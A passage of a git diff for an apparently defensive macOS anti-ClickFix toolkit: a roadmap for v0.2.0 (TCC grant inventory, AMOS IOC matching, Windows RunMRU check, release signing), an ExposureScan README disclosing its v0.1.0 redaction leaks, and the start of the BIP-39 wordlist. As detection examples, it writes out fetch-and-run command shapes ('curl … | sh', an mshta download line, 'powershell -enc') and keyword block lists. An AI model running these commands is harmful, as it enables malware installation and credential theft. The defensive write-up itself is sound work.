live), and Safari + Firefox login **counts** so the report is not silently Chrome-shaped. + +**Files:** `/Users/t./dev/clickfix-defense-kit/exposurescan/exposurescan.py`; `/Users/t./dev/clickfix-defense-kit/exposurescan/README.md`; `/Users/t./dev/clickfix-defense-kit/exposurescan/sample-report.md`. +**Effort: L.** + +**Proof.** Synthetic-`HOME` fixture with one encrypted and one plaintext SSH key, a fake `.npmrc`, a fake `hosts.yml`, and a wallet-extension dir. Assert: exit code 3, the plaintext key is P0 and the encrypted one is not, and — the load-bearing assertion — **`grep` the markdown and JSON for the fixture's key material and token strings and assert zero hits.** Every new surface joins the P0-3 redaction end-to-end suite; a surface without a leak test does not ship. + +--- + +### P1-5 · A TCC grant inventory — the kit's core insight, currently stated and never actioned. + +The README's central argument is that malware inherits the grants of the trusted binary it runs inside. It then never tells the user **which** binaries those are. Read-only, no permissions needed, and it is the single highest-leverage check on macOS. On this machine, from a read-only query of both `TCC.db` files: `kTCCServiceScreenCapture|com.apple.Terminal|2` and `kTCCServiceAccessibility|com.apple.Terminal|2` — a payload pasted into Terminal inherits screen recording and Accessibility. `kTCCServiceSystemPolicyAllFiles|/usr/libexec/sshd-keygen-wrapper|2` — anything arriving over SSH has **Full Disk Access**. Twenty-plus apps hold Accessibility, including several AI desktop clients. + +Ship it as `exposurescan --tcc`, **not** as a new tool. Tier P0 for any terminal, shell, SSH wrapper, remote-access tool, or bare interpreter binary holding FDA/Accessibility/ScreenCapture — those are grant-inheritance vehicles, not apps — and say it in plain language: *"your Terminal has Screen Recording. A pasted payload gets Screen Recording too."* + +Bundle three adjacent one-liners into the same flag because they are ClickFix-relevant and nothing else surfaces them to a consumer: Terminal **Secure Keyboard Entry** state (off on this machine; without it any of those 20 Accessibility holders can read your sudo password as you type it, which is the exact step the threat model centres on); remote-access surface (`com.openssh.sshd` and `com.apple.screensharing` are both **enabled** here, and an added `authorized_keys` line is quieter persistence than a LaunchDaemon and invisible to WatchPost); and Secure Boot level (this Mac reports **Reduced Security / Allow All Kernel Extensions: Yes**, a real downgrade no kit tool would ever report). + +**Deliberately excluded:** FileVault, general firewall posture, update settings, sudoers timeouts, password policy, the full CIS-style sweep. See the "do not build" section — mSCP and Pareto own that and own it better. + +**Files:** `/Users/t./dev/clickfix-defense-kit/exposurescan/exposurescan.py`; `/Users/t./dev/clickfix-defense-kit/exposurescan/README.md`. +**Effort: M.** + +**Proof.** Run against a fixture TCC.db with a known row set; assert Terminal-with-Accessibility is tiered P0 and a normal GUI app with Photos access is not. On a real machine, assert the tool's Terminal/sshd findings match a hand-run `sqlite3` query on both TCC.db files — same rows, no invented ones, no missed ones. + +--- + +### P1-6 · WatchPost gains published IOC signatures and the surfaces AMOS actually uses. + +Today WatchPost says "this is new" and makes the user adjudicate. It should be able to say "this is AMOS." Ship `watchpost/known-bad.txt` (label patterns, payload paths, staging dirs from current Microsoft/Unit 42 reporting: `com.google.keystone.agent.plist` staged to a fake `GoogleUpdate.app`, `com.<random>.plist`, `/tmp/helper`, `/tmp/starter`, `/tmp/update`), so a diff hit that matches escalates from **NEW** to **CRITICAL — matches published AMOS IOC** with the source URL printed. Add a check for plists whose `ProgramArguments` contain `base64`, `-d`, `eval`, or an inline blob over 200 chars — the second stage now lives *inside* the plist, which a name-and-hash diff will never surface. Add to the watched set: `~/.ssh/authorized_keys`, `~/.ssh/config` (ProxyCommand/LocalCommand injection), `/etc/ssh/sshd_config`, config profiles (`profiles status`), `systemextensionsctl list`, and `~/Library/Shortcuts` (Shortcuts.app runs shell scripts on automation triggers and appears in none of the five current surfaces). Add a `--refresh-iocs` note to CONTRIBUTING so the list has an owner and a decay date. + +**Files:** new `watchpost/known-bad.txt`; `/Users/t./dev/clickfix-defense-kit/watchpost/watchpost.sh`; `/Users/t./dev/clickfix-defense-kit/watchpost/README.md`; `/Users/t./dev/clickfix-defense-kit/CONTRIBUTING.md`. +**Effort: M.** + +**Proof.** Sandbox: drop a benign plist named `com.google.keystone.agent.plist` pointing at a `/tmp` binary; assert the run reports CRITICAL + the IOC source URL rather than plain NEW. Drop a plist with a 300-char base64 `ProgramArguments` entry; assert it is flagged on content, not just on novelty. Append a line to a sandboxed `authorized_keys`; assert it appears in the diff. + +--- + +## P2 — worth doing, lower leverage + +| Item | What changes | Files | Effort | Proof | +|---|---|---|---|---| +| **`downloadtriage` (merge DV-01 + DV-02)** | One new tool: scan `~/Downloads` for `.command`/`.terminal`/`.scpt`/`.pkg`/`.dmg`/`.app`; report quarantine xattr, `kMDItemWhereFroms` origin URL, `spctl -a -vv` + signing authority/Team ID; and for `.pkg`, `pkgutil --expand-full` and **print the pre/postinstall scripts verbatim, run through the P0-1 grammar**. That last check is the highest-value thing missing from the whole kit — a `.pkg` preinstall runs as root and the user is *conditioned* to type an admin password into Installer.app, so GuestMode's "a phished password can't escalate" framing does not apply. | new `downloadtriage/` | M | Build a benign unsigned `.pkg` whose postinstall contains `curl … \| sh`; assert the tool prints the script and the grammar flags it. Assert a notarized Apple `.pkg` reports clean. | +| **`scriptguard` (the Script Editor pivot)** | Report which app handles `applescript://` / `x-apple-script://` and offer to re-point it; optional `eslogger exec` monitor alerting when Script Editor or `osascript` is launched with a **browser parent**. | new `scriptguard/` | M | Register a null handler, assert `lsregister -dump` shows the change and a test `applescript://` open does not launch Script Editor. Parent-process detection: launch `osascript` from a browser-parented shell and assert the alert fires. | +| **Homoglyph / zero-width detector** | Flag any command containing non-ASCII codepoints, zero-width (U+200B–U+200D, U+FEFF), bidi controls (U+202A–U+202E, U+2066–U+2069), or U+202F, with its own explanation line. Fires at the `warn` tier. High precision, near-zero FP on real dev work, and it is standard ClickFix tradecraft (Cyrillic decoy CAPTCHA comments). | `lib/clickfix-grammar.sh` | S | Corpus rows: a Cyrillic-homoglyph decoy comment → `warn`; an ordinary command with an em dash in a `git commit -m` → `silent` (calibrate the exemption). | +| **Canary decoy realism + ledger** | Every template currently contains `DECOY`, `PLACEHOLDER`, `EXAMPLE`, `honeytoken`, `DO NOT USE` — verified by reading `canary/templates/*.decoy`. Any stealer doing minimal value filtering greps these out. Worse, `~/.local/state/clickfix-defense-kit/canary-ledger.tsv` is 0644 and enumerates every decoy's path + marker: a one-file skip-list. Move the metadata out of the file body into the ledger; `chmod 600` the ledger; document that placement value collapses if the decoy is greppable. | `canary/templates/*.decoy`; `canary/canary-gen.sh`; `canary/README.md` | S | `grep -icE 'decoy\|placeholder\|honeytoken\|canarytoken' <planted file>` returns 0. `stat -f %Lp` on the ledger returns 600. `--revert` still removes every planted file (marker moved to an xattr or the ledger, not the body). | +| **Shared `notify.sh` + `exposurescan --diff`** | Alerts that land in a banner nobody sees are not detection. One notifier with pluggable sinks (banner / append-only log / webhook / mail) used by every tool, plus the `--diff a.json b.json` subcommand and launchd agent the ExposureScan README already tells users to do by hand ("compare this week's finding ids against last week's" — with no diff implementation shipped). | new `lib/notify.sh`; `exposurescan/exposurescan.py`; new `exposurescan/com.clickfixkit.exposurescan.plist` | M | Two fixture JSON sidecars differing by one P0 finding; assert `--diff` exits non-zero and names exactly that finding id. Assert the webhook sink posts once and the log sink appends one line. | +| **`FAMILY.md` + guard the guest account** | The founding incident was caused by someone who is not this README's reader and will never install anything. Ship a one-page, printable, jargon-free card: *"if a website ever tells you to copy something into Terminal, the answer is always no — come get me."* And make `install.sh` offer to install ShellGuard + ClipSentinel **into** the standard account GuestMode creates — right now the least-savvy user on the machine is the only one with no guard. | new `FAMILY.md`; `/Users/t./dev/clickfix-defense-kit/install.sh`; `guestmode/README.md` | S | Create a test standard account, run the installer's guest path, assert `~guest/.zshrc` contains the source line and that a corpus payload blocks when run as that user. | + +--- + +## What NOT to build — pointer or wrapper, not new code + +The project's credibility rests on this section being complete and unflattering. Every row below is something a naive roadmap would add and this one deliberately refuses. + +| Capability someone will ask for | Who already owns it | The kit's correct move | +|---|---|---| +| **Real-time persistence interdiction** (block a LaunchAgent as it's installed) | Objective-See **BlockBlock** | Already deferred correctly in `watchpost/README.md`. No change. | +| **Copy-time / paste-time content inspection** | Objective-See **BlockBlock**, which added ClickFix protection at Cmd+V in **Feb 2026** — a month before Apple | **This is new since v0.1.0 and the README does not say it.** BlockBlock now covers ClipSentinel's entire stage and overlaps ShellGuard's. Re-scope ClipSentinel's README to "use BlockBlock if you'll install a system extension; ClipSentinel is the zero-permission fallback," or retire it. **Judgment call — see below.** | +| **Binary authorization / stopping the second-stage Mach-O** | **Santa** (now North Pole Security, `northpole.dev` — `google/santa` is an archived read-only repo, so any reference must point at the new home) | Pointer, and it *helps* the kit: Santa's own docs concede that guarding scripts is "very trivial to bypass, for example by passing the name of the script directly to the interpreter." A `curl \| bash` produces no new binary exec at all. Santa and ShellGuard are complementary, not competing. Say so in `docs/prior-art.md` and recommend running both. | +| **Network-callback honeytokens** | **Thinkst Canarytokens** | Already deferred correctly. No change. | +| **Outbound / exfil firewall** | **LuLu**, **Little Snitch** | Pointer only. Do not build egress control. | +| **General macOS settings hardening baseline** (FileVault, firewall, updates, password policy, sudoers, the CIS sweep) | **mSCP** (authoritative via NIST SP 800-219), **CIS**, **Pareto Security**, **Stronghold** | **Do not build a general `hardenscan`.** This is the biggest scope-creep trap in the findings and it would double the repo for work already done better. Build only the narrow ClickFix-relevant slice as `exposurescan --tcc` (P1-5) — the grant-inheritance inventory is genuinely underserved and directly on-thesis — and cite mSCP/Pareto for everything else in `docs/prior-art.md` and as the source of GuestMode's non-admin recommendation. | +| **Post-breach artifact collection** | **Jamf Aftermath** (free, Swift, purpose-built) | Wrap, don't rebuild. `preserve.sh` (P1-2) shells out to Aftermath if present and links it if not. Its value-add is the ClickFix-specific ordering and the known-bad cross-reference, not the collection. | +| **The correct paste-blocking API** | Apple's `xprotectd`, exclusively | Cannot be built. `ES_EVENT_TYPE_RESERVED_1` (149) is an Endpoint Security paste **AUTH** event carrying source process, target process and full paste contents — the exact API a correct blocker would use — gated behind `com.apple.private.endpoint-security.client`, which locks out every third party including BlockBlock. Document it in `docs/why-not-endpoint-security.md` and file a Feedback Assistant request. That is a real community contribution the kit can own without writing code. | +| **npm/pip/brew/extension supply chain monitoring** | Nobody, consumer-side — but it is a different product | Out of scope for v0.2.0. Add the `--extensions` inventory to ExposureScan later (Chrome/VS Code extension IDs + permissions, week-over-week diffed) and `--ignore-scripts` guidance to the README now. Do not start a package-manager security tool. | +| **AI-agent tool-execution guard** (`agentguard`) | Nobody | Genuinely unoccupied and genuinely relevant — an agent with shell access runs commands non-interactively, so ShellGuard never fires and no human is at an Enter key. But it is a **different product with a different audience**, and bolting it onto a kit whose pitch is "for the tired person on the couch" dilutes both. Log it as a v0.3.0 candidate; for v0.2.0 write one honest README paragraph: *"your AI agent is a paste-and-run machine that never gets tired,"* with the Cline and Gemini CLI incidents as the worked example. | + +--- + +## Windows port + +**Recommendation: do not build.** Not "defer" — decide against it and say why in the README so the question stops coming up. + +**The reasoning.** The Windows equivalent is Win+R → Ctrl+V → Enter on an `mshta.exe https://<host>/<file>.mp3 # <Cyrillic decoy comment>` or a base64 `powershell -enc`, with pivots to Win+X, to `wt.exe` (chosen in the Feb 2026 variant specifically to evade Run-dialog detection rules), to FileFix (Explorer address bar) and CrashFix (`finger.exe`). Volume is not the problem — Microsoft's 2025 Digital Defense Report puts ClickFix at **47% of attacks observed by Defender Experts**, the #1 initial access method. + +The problem is that a ShellGuard port would sit in the wrong place. Hooking PSReadLine's `AcceptLine` sits **below** `mshta` and Win+R entirely, and those are the two most common execution paths — neither ever touches a PowerShell prompt. And the controls that do work already exist and are enterprise-grade: ASR rules stop live chains, plus AMSI, ScriptBlock logging, Constrained Language Mode, WDAC, and `DisableRun` policy. Splunk and Unit 42 already ship detection content. Building a worse version of an occupied niche is the exact thing this repo's honesty posture exists to prevent. + +**If anything ships, it is not a guard.** `windows/clickfix-check.ps1`, read-only, ~100 lines: (a) dump and decode `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`, flagging entries containing `mshta`/`powershell`/`-enc`/`-w hidden`/`iex`/`curl` — this is the one forensic artifact every consumer machine has and nobody surfaces to consumers; (b) report whether the relevant ASR rules, ScriptBlock logging and CLM are enabled, and print the exact enabling command; (c) offer the `DisableRun` policy toggle for a family/guest account, mirroring GuestMode's containment framing. Position it exactly as the macOS kit positions itself: *surfacing controls Microsoft already built for enterprises, for people who don't have an enterprise.* That is the only defensible Windows niche and it is a weekend, not a port. **Effort: S. Priority: after everything in P0 and P1.** + +--- + +## Distribution + trust + +The kit asks for Full Disk Access (ExposureScan, WatchPost) and root (Canary's `eslogger` layer), installs two LaunchAgents, and appends to `~/.zshrc`. Its README concedes the tension — *"granting root to a fresh, unsigned tool is itself a malware trust profile"* — and then provides no mechanism to resolve it. That gap is the ceiling on adoption. + +**First, an honest negative result, so the roadmap doesn't get padded.** A `MANIFEST.sha256` + `verify.sh` inside the tree is **theater**, and I proved it: in a scratch copy I built exactly that control, tampered with `shellguard.zsh` → "INTEGRITY FAIL", then re-ran `shasum -a 256 … > MANIFEST.sha256` (one command, the same write access the tamper already required) → "INTEGRITY OK" on the backdoored tree. Meanwhile `git status --porcelain` reported ` M shellguard/shellguard.zsh` in every case. **The kit already ships a content-addressed integrity manifest — it's `.git`,** and it is strictly stronger than a flat checksum file because the hashes chain to a commit ID the user can compare against GitHub. Tamper *detection* is solved. Do not add a manifest. + +**What is actually missing is provenance, and it is four concrete things:** + +| # | Item | Effort | Proof | +|---|---|---|---| +| 1 | **Sign the tags.** `git tag -v v0.1.0` currently exits 1 — the tag is annotated, not GPG/SSH-signed. Sign `v0.2.0`, publish the key fingerprint in `SECURITY.md`, and make `git verify-tag v0.2.0` **step zero** of the install instructions, above `git clone`. | S | `git verify-tag v0.2.0` exits 0 and prints the fingerprint that matches `SECURITY.md`. A CI job on tag push asserts the tag is signed. | +| 2 | **`SHA256SUMS` + signature as GitHub Release *assets*.** Not in the tree — as release artifacts, signed with the same key. This attests the *tarball* a user downloads without the git history, which is the one case `.git` doesn't cover. | S | Download the release tarball in CI, verify the detached signature and the sums, assert byte-identity with `git archive` of the signed tag (which also proves the release is reproducible from the tag). | +| 3 | **`install.sh --verify`, and make a dirty tree loud.** Have `install.sh` run `git status --porcelain` + `git verify-tag` before touching anything, and *show the user* the result. A modified working tree at install time should require an explicit `--force`. This surfaces the protection that already exists. | S | Modify a tracked file in a scratch clone, run `install.sh`, assert it refuses and names the file. Assert it proceeds cleanly on a pristine signed checkout. | +| 4 | **Notarize the Canary `eslogger` helper**, as the Canary README already recommends to others. Until then, keep the read-watch documented-but-not-shipped. | M + **$99/yr** | `spctl -a -vv -t install` reports `accepted, source=Notarized Developer ID`, and `codesign -dv --verbose=4` shows the expected Team ID. | + +**On a Homebrew tap.** A tap solves discovery and does not solve trust — `brew tap` + `brew install` is a delegation of exactly the trust the README refuses to delegate, and a formula that installs a LaunchAgent and edits `~/.zshrc` is a bigger ask than a cask, not a smaller one. If a tap ships, it should install the **tools** and **not** auto-enable anything: the formula puts the scripts on `PATH` and prints the same "read the source, then run `install.sh`" instruction. That keeps the kit's central promise intact instead of quietly trading it for convenience. **Judgment call.** + +**Update `SECURITY.md`** with a "verifying what you cloned" section covering all of the above, and — this is on-brand and I'd argue for it — a short note that v0.1.0's detection grammar had demonstrated bypasses, what they were, and that v0.2.0 fixes them. A repo whose whole pitch is refusing claims it can't back should be the first to publish its own miss. + +--- + +## Judgment calls — yours, not mine + +1. **Does ClipSentinel survive?** BlockBlock now inspects actual paste content at Cmd+V, free and open source, and it does the job better. ClipSentinel's remaining honest claim is "zero permissions, no system extension, works on a machine where the user won't install one." That's a real claim but a thin one. **Retire it and point at BlockBlock, or re-scope its README to the fallback framing?** I lean re-scope — the zero-permission tier is genuinely the difference between a family member having something and having nothing — but it's your positioning call and it changes the README's whole prior-art story. + +2. **Where's the false-positive line?** The two-step download-then-run heuristic (Rule D) is the only way to catch `curl -o /tmp/p; sh /tmp/p`, and it *will* fire on ordinary developer work. My proposal is a two-tier system (warn vs block) with Rule D at warn. If you'd rather keep one tier, Rule D has to be either off by default or block-tier-noisy. **Pick the tier model before the tokenizer gets written** — it's an architecture decision, not a tuning knob, and it's the one thing most likely to determine whether real users keep the guard installed. + +3. **Does the kit stay at six tools?** P2 proposes `downloadtriage` and `scriptguard`; P1-5 proposes an ExposureScan flag rather than a seventh tool specifically to avoid this. The kit's pitch is "small, honest." Eight or nine tools is a different product with a different maintenance burden and a weaker README. **My recommendation: v0.2.0 adds zero new tools.** Fix what's broken, write INCIDENT.md, extend ExposureScan. New tools are v0.3.0. But you own the scope. + +4. **Does Canary earn its place?** After the P2 fixes it's honest and cheap. Before them, the decoys announce themselves and the ledger is a skip-list. The `--list` crash (P0-5) means nobody has ever successfully audited a plant. **Fix it or cut it — but "ships broken and self-defeating" isn't a third option.** + +5. **$99/yr for the Apple Developer Program.** Required for notarization (trust item 4). Real recurring money against a free open-source project. **Your call whether the eslogger read-watch is worth it or whether that layer stays documented-only.** + +6. **Does v0.2.0 ship in one release or two?** P0-1 and P0-2 are a self-contained, high-value release that could ship in days as v0.1.1. The rest is weeks. **Shipping the grammar fix immediately and the honesty/IR work as v0.2.0 is the lower-risk sequencing** — every day the current regex is public is a day the published bypasses are live. + +7. **Public disclosure posture.** The repo is public, v0.1.0 is tagged, and the bypasses above are trivially rediscoverable by anyone who reads `shellguard.zsh`. **Do you write them up plainly in the CHANGELOG and SECURITY.md, or fix quietly and move on?** Writing them up is consistent with everything else this repo does, and it's the strongest possible demonstration of the honesty posture. It also documents the bypasses for anyone still running v0.1.0. Your call, and the only one here with a genuine downside either way. + +--- + +## Suggested v0.2.0 cut line + +**Ship:** P0-1 · P0-2 · P0-3 · P0-4 · P0-5 · P1-1 · P1-2 · P1-3 · P1-6, plus distribution items 1–3. +**Defer to v0.2.1:** P1-4 · P1-5 (both are ExposureScan surface expansion — valuable, but they don't correct a false claim). +**Defer to v0.3.0:** all of P2, `agentguard`, `windows/clickfix-check.ps1`, notarization. + +That cut line has a clean story for the release notes: *v0.2.0 is the release where every claim in the README became true, and where the kit finally has something to say to the person reading it at 2am.* \ No newline at end of file diff --git a/exposurescan/README.md b/exposurescan/README.md index f6f8b3b..65cf6cb 100644 --- a/exposurescan/README.md +++ b/exposurescan/README.md @@ -17,10 +17,10 @@ It scans: | # | Surface | What it reports | |---|---------|-----------------| | a | **Chrome / Brave / Edge / Chromium saved logins** (`Login Data` SQLite) | per-domain count of saved logins, whether a username exists, whether a password is present — **never the password** | -| b | **Apple Notes** (`NoteStore.sqlite` → gzip `ZICNOTEDATA.ZDATA`) | note **title** + matched **category** (password / seed-phrase / api-key / PIN / SIN…) — **never the matched text** | -| c | **`.env` files** under a target dir | **KEY NAMES only** (left of `=`), line number, value *shape* (length / entropy class) — **never the value** | +| b | **Apple Notes** (`NoteStore.sqlite` → gzip `ZICNOTEDATA.ZDATA`) | note **primary key**, title **length**, **modification date**, matched **category** (password / seed-phrase / api-key / PIN / SIN…) — **never the title, never the matched text** | +| c | **`.env` files** under a target dir | **KEY NAMES only** (left of `=`), line number, value *shape* (length / entropy class / prefix class) — **never the value** | | d | **`~/.secrets`** | file **names** + sizes + permissions (the filename *is* the credential name) | -| e | **PII markers** in Desktop / Documents / Downloads | **counts per type** (email, phone, SIN/SSN, Luhn-validated card, DOB) — **never the instance** | +| e | **PII markers** in Desktop / Documents / Downloads | **counts per type** (email, phone, SIN/SSN, Luhn-validated card, DOB) — **never the instance**. Filenames are screened by the same patterns and **withheld** (hash + parent dir + size + mtime) when the filename is itself the PII | --- @@ -32,16 +32,31 @@ This is enforced by architecture, not by a disabled `--show-data` flag: - **Browser passwords** — we `SELECT origin_url, username_value, length(password_value)` only. We **never** select, read, or decrypt `password_value`. Chrome's macOS passwords are AES-128-CBC under a Keychain key; **this tool refuses to decrypt by design** — decrypting is exactly what a stealer does. - **`.env` values** — we split on the first `=`, keep the **key name**, measure the value's length/entropy to score risk, then **discard the value immediately**. It is never stored or printed. -- **Apple Notes** — we report a note's **title + category** only. The matched substring is never emitted. -- **`redact()` chokepoint** — every user-facing string (markdown and JSON) passes through a final `redact()` funnel that strips anything value-shaped (long high-entropy runs, anything right of `=`). Even an accidental leak in a path or title cannot escape. This invariant is covered by `tests/test_redaction.py`. +- **Apple Notes** — we report the note's **primary key, title LENGTH, modification date and matched category**. **The title is never emitted.** On macOS a note has no user-chosen title: `ZTITLE1` is *derived from the note's first line*. For the exact person this surface exists for — someone who pasted a seed phrase into Notes — the "title" **is** the secret. The modification date is what actually lets you find the note again (sort Notes.app by *Date Edited*). +- **PII filenames** — a filename can be the PII. `visa 4111 1111 1111 1111 exp 0327 cvv 415.csv` is withheld and reported as `<filename withheld - matched credit-card> (#3df3ff2b) in ~/Documents/ (34 bytes, 2026-07-28 18:36 UTC)`. +- **`redact()` chokepoint** — every user-facing string (markdown and JSON) passes through a final funnel that, in order: + 1. replaces control characters with `U+FFFD` (kills ANSI escapes, `NUL`, C1); + 2. collapses the string to **one line** (a `\n` in a title otherwise forges a markdown heading); + 3. strips `scheme://user:password@` URI userinfo; + 4. strips everything right of `=` **to end of line**; + 5. redacts to end of line after a sensitive keyword (`password`, `pin`, `token`, …) followed by `:`/`=`/space — this is what catches short, low-entropy secrets like `PIN 4821`; + 6. replaces any run of ≥6 consecutive **BIP-39 wordlist** tokens with `<redacted seed-phrase>`; + 7. redacts any remaining long high-entropy run. + Then `markdown_safe()` escapes markdown metacharacters before anything is interpolated into the report. -No network. No writes outside a temp dir that is deleted in a `finally`. SQLite DBs are copied and opened `mode=ro&immutable=1` so a running browser/Notes.app can't trigger `database is locked` and we can never mutate the original. +The BIP-39 English wordlist ships as `bip39.txt` (exactly 2048 lines, sha256 `2f5eed53…`, from the [BIP-39 spec repo](https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt)). It is loaded lazily; if it is missing, seed-phrase redaction is disabled with a warning that names the missing **file** and never echoes the text it would have checked. + +**Detection** uses a higher bar than redaction: a P0 "seed-phrase" finding needs ≥11 consecutive wordlist tokens, because a false-positive P0 on a shopping list trains you to ignore the report. + +No network. Read-only. Temp copies of credential DBs are created `0600` (`shutil.copyfile` + explicit `os.chmod` — **not** `copy2`, whose `copystat` would replay the source's `0644`) and removed in `__exit__`, on an exception inside `__enter__`, at `atexit`, and on `SIGINT`/`SIGTERM`/`SIGHUP`. Report files written with `--out` / `--json` are created `0600` and moved into place with `os.replace()`. + +SQLite DBs are copied and opened `mode=ro`. **`immutable=1` was removed in v0.2.0** — it tells SQLite the file cannot change, so it skips WAL recovery entirely and silently under-counts the most recent logins and cookies. See "What v0.1.0 got wrong" below. --- ## Install & run -No dependencies beyond the Python 3.11+ standard library (`sqlite3`, `gzip`, `re`, `argparse`, `pathlib`). +No dependencies beyond the Python 3.11+ standard library (`sqlite3`, `gzip`, `re`, `argparse`, `pathlib`). One data file: `bip39.txt`. ```bash chmod +x exposurescan.py @@ -53,7 +68,10 @@ chmod +x exposurescan.py ./exposurescan.py --target ~/dev # Also write a values-free JSON sidecar (for week-over-week diffing) and a markdown file -./exposurescan.py --target ~/dev --json /tmp/exposure.json --out /tmp/exposure.md +# NOTE: not /tmp. A report is a map of every credential surface on the box. +./exposurescan.py --target ~/dev \ + --json ~/.local/state/exposurescan/exposure.json \ + --out ~/.local/state/exposurescan/exposure.md # Skip a surface ./exposurescan.py --no-notes --no-browser @@ -87,11 +105,44 @@ Compare this week's `tier_counts` / finding `id`s against last week's. A new P0/ --- +## What v0.1.0 got wrong + +v0.1.0's README claimed ExposureScan was *"architecturally incapable of emitting a secret value"* and that *"we report a note's title + category only — the matched substring is never emitted."* A red-team pass reproduced **seven** counterexamples against the shipped module. Publishing them is the point: a security tool that hides its own misses is worse than one that never made the claim. + +| # | What leaked | Why | Fixed by | +|---|-------------|-----|----------| +| 1 | A 12-word **BIP-39 seed phrase** passed through `redact()` **100% byte-identical** | `_VALUE_SHAPE` needs one unbroken 20+ char run; a mnemonic is short lowercase dictionary words separated by spaces | ship the real 2048-word wordlist; ≥6 consecutive tokens → `<redacted seed-phrase>` | +| 2 | `wifi password = correct horse battery staple` → `wifi password = <redacted> horse battery staple` — three of four words survived, and the literal `<redacted>` made the line *read as sanitized* | `_ASSIGNMENT` was `(=)\s*\S+`, which stops at the first space | `(=)\s*.+$` with `re.M` | +| 3 | `PIN 4821 / password hunter2 / 2FA backup 731-449` passed unchanged | no rule covered short, low-entropy secrets | keyword-proximity rule: redact to end of line | +| 4 | `postgres://admin:hunter2@db.internal:5432/prod` passed unchanged | no `=`, no 20-char run | URI-userinfo rule | +| 5 | **Apple Notes emitted the note title verbatim.** `ZTITLE1` is derived from the note's **first line**, so for the one user this surface exists for the "title" *is* the seed phrase. The `[:60]` slice was formatting, not a security control | the invariant was written for a mental model of Notes that macOS does not implement | emit `Note #pk (title N chars, modified …)` — never the title | +| 6 | A **filename** containing a Luhn-valid card number, expiry and CVV was reproduced verbatim into stdout, the `--out` markdown *and* the `--json` sidecar — annotated `credit-card: 1` | filenames were interpolated straight into `Finding.name` and `Finding.location` | screen filenames through `PII_PATTERNS`; withhold + hash | +| 7 | **ANSI escapes and markdown passed through untouched.** A title containing a newline plus `### P0 - INJECTED FINDING` forged a finding in the rendered report | `redact()` never touched control characters or structure | control-char scrub, single-line collapse, `markdown_safe()` | + +Two further defects found while writing the regression suite, not in the original report: + +- **Detection was as broken as redaction.** `SENSITIVE_CONTENT_CATEGORIES["seed-phrase"]` only ever matched the *label* (`"seed phrase"`, `"recovery phrase"`, `"mnemonic"`). A note containing **nothing but the twelve words** — the actual catastrophic case — was never flagged at all. Now checked against the wordlist. +- **A file whose *name* was the PII but whose contents were clean was never scanned.** The PII walk only ever looked at file contents. + +And four hardening bugs that were not leaks but were real: + +- `shutil.copy2`'s `copystat` replayed the source's `0644` onto the temp copy of the browser's `Login Data`, leaving a **world-readable plaintext copy of the credential DB** in `TMPDIR` for the duration of the scan. Now `copyfile` + explicit `chmod 0600`. +- A TCC `PermissionError` (or `Ctrl-C`) mid-copy **orphaned a partial credential DB** in `TMPDIR` with no process left to clean it up. Now cleaned in `__enter__`'s `except`, at `atexit`, and on `SIGINT`/`SIGTERM`/`SIGHUP`. +- The code copied the `-wal` sidecar *and* opened `mode=ro&immutable=1`. `immutable=1` makes SQLite **skip WAL recovery entirely**. Measured on a DB with 50 rows parked in an uncheckpointed WAL: `immutable=1` reported `no such table`; plain `mode=ro` reported the correct 50. The tool was silently **under-counting the most recent logins and cookies in a report whose entire output is a risk score.** `immutable=1` is gone; the `-wal` copy stays. (Cost: SQLite may create a `-shm` and replay the WAL — inside our own temp dir, on our own `0600` copy, never on the user's file.) +- The README's own example wrote the JSON sidecar to `/tmp/exposure.json`. A world-readable map of every credential surface on the machine, in a world-readable directory, demonstrated by the docs. Examples now use `~/.local/state/exposurescan/`, and both output files are written `0600` via `os.open` + `os.replace`. + +**The lesson, stated plainly:** v0.1.0 had a *passing* unit test on `redact()` and shipped six leaks anyway, because the leaks lived in the f-strings **between the scanner and the chokepoint**, not in the chokepoint. A unit test on `redact()` proves `redact()` works. Only an **end-to-end** test — real scanner → real renderer → real sidecar → assert the secret is absent from the artifact — proves the invariant. `tests/test_invariant.py` is built around that. + +--- + ## Honest limits - It tells you your blast radius and raises your literacy. **It cannot stop you** from pasting a `curl … | bash` into Terminal, typing your password into a fake `osascript` dialog, or clicking *Allow* on a TCC prompt. For execute-time blocking pair it with **ShellGuard** (zsh accept-line guard) and **ClipSentinel** (clipboard early-warning) from this kit. - It is intentionally **not** a value extractor. If you want the values, you already have them (they're your files) — this tool's whole reason for existing is to give you the inventory **without** ever materializing them. - Regex-based PII detection has false positives; that's why card numbers are Luhn-validated and counts (not instances) are reported. Treat counts as a "how exposed am I" signal, not a forensic ground truth. +- **`redact()` deliberately over-fires.** The keyword-proximity rule truncates a line to `<redacted>` after any sensitive keyword followed by `:`/`=`/space. Sometimes that eats context you wanted. Over-redaction is a readability bug; under-redaction is the bug this tool exists to not have. When the tool's own generated text collides with the rule, the text is reworded — the rule is not weakened. +- **Generated metadata bypasses `redact()` on purpose.** Value *shapes* (`"46 chars, high-entropy, Postgres connection URI"`) are built from integers and a fixed label vocabulary, so they are value-free by construction and travel in `Finding.shape`, filtered through a conservative-alphabet `safe_shape()` instead. That field is the one place a future leak could be introduced, so it has its own tests. +- The seed-phrase rule covers the **English** BIP-39 wordlist only. Other BIP-39 languages, Electrum seeds, and SLIP-39 shares are not detected. --- @@ -101,5 +152,7 @@ Compare this week's `tier_counts` / finding `id`s against last week's. A new P0/ |------|---------| | `exposurescan.py` | the CLI (executable, stdlib-only) | | `sample-report.md` | example output with **fake placeholder data only** | -| `tests/test_redaction.py` | CI test asserting no value-shaped string escapes | +| `bip39.txt` | the 2048-word BIP-39 English wordlist (verbatim, unmodified) | +| `tests/test_redaction.py` | v0.1.0 unit tests on the `redact()` chokepoint + the `.env` surface | +| `tests/test_invariant.py` | v0.2.0 regression suite — one test per verified leak, incl. the **end-to-end** Notes and PII-filename tests | | `README.md` | this file | diff --git a/exposurescan/bip39.txt b/exposurescan/bip39.txt new file mode 100644 index 0000000..942040e --- /dev/null +++ b/exposurescan/bip39.txt @@ -0,0 +1,2048 @@ +abandon +ability +able +about +above +absent +absorb +abstract +absurd +abuse +access +accident +account +accuse +achieve +acid +acoustic +acquire +across +act +action +actor +actress +actual +adapt +add +addict +address +adjust +admit +adult +advance +advice +aerobic +affair +afford +afraid +again +age +agent +agree +ahead +aim +air +airport +aisle +alarm +album +alcohol +alert +alien +all +alley +allow +almost +alone +alpha +already +also +alter +always +amateur +amazing +among +amount +amused +analyst +anchor +ancient +anger +angle +angry +animal +ankle +announce +annual +another +answer +antenna +antique +anxiety 